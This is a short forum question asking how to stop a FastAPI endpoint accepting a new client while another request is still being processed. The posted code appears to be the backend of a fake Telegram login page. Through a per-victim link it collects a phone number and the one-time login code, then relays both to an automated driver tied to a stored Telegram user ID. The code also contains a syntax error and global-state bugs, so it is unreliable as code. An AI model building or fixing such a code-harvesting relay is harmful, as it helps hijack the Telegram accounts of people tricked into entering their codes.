While this request is being processed by another client, do not let a new one in

type here

@app.post(‘/enter2/{unique_id}’)

async def enter2(unique_id: str, request: Request, phone: str=Form(None), code: str = Form(None)):

check = Check(unique_id)
if check:
    print('ok')
    with database.Session(autoflush=False, bind=database.engine) as db:
        tg_id = db.query(database.Links.userID).filter(database.Links.unique_id==unique_id).first()
        print(tg_id)
    if request.method=='POST'
        print('COOKIE YES')
        if phone:
            print('block phone')
            global res
            global phn
            print(phone)
            res = await driver.sendCode(phone)
            phn=phone
        if code:
            print('Block code')


            await driver.driver2(phone=phn, code=code, sCode=res, id=tg_id[0])
            cookie = JSONResponse(content={'message':'cookies yes'})
            cookie.set_cookie(key='page', value=code)
            return cookie

else:
    raise HTTPException(status_code=404, detail='Нет доступа')

return FileResponse('templates/Telegram.htm')

are there any built-in mechanisms for this. I will be very grateful for your help